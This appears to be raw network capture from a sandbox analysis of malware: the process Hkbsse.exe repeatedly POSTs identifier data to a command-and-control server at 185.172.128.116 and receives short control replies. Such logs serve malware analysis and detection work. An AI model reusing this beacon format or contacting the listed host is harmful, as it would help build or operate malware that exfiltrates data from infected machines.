Jul 13, 2024 07:07:53.189321995 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:53.821049929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:53.822541952 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:54.017277956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	59029	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:54.149005890 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:55.047118902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:55.047369003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:55.048156023 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:55.240005016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	59030	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:55.360863924 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:56.003593922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:56.004570961 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:56.197310925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	59031	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:56.486185074 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:57.123281956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:57.125154018 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:57.322670937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	59032	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:57.438997984 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:58.110021114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:58.110970020 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:58.311094999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	59033	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:58.661000967 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:59.254652977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:59.255615950 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:59.449348927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	59034	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:59.564429045 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:00.235538960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:00.237914085 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:00.437601089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	59035	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:00.548228979 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:01.220547915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:01.221455097 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:01.427973032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	59036	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:01.911540985 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:02.556598902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:02.557727098 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:02.752446890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	59037	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:02.861555099 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:03.503173113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:03.504107952 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:03.703701019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	59038	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:03.814210892 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:04.451983929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:04.458620071 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:04.656601906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	59039	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:04.768565893 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:05.412432909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:05.415741920 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:05.609504938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	59040	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:05.722908020 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:06.359935045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
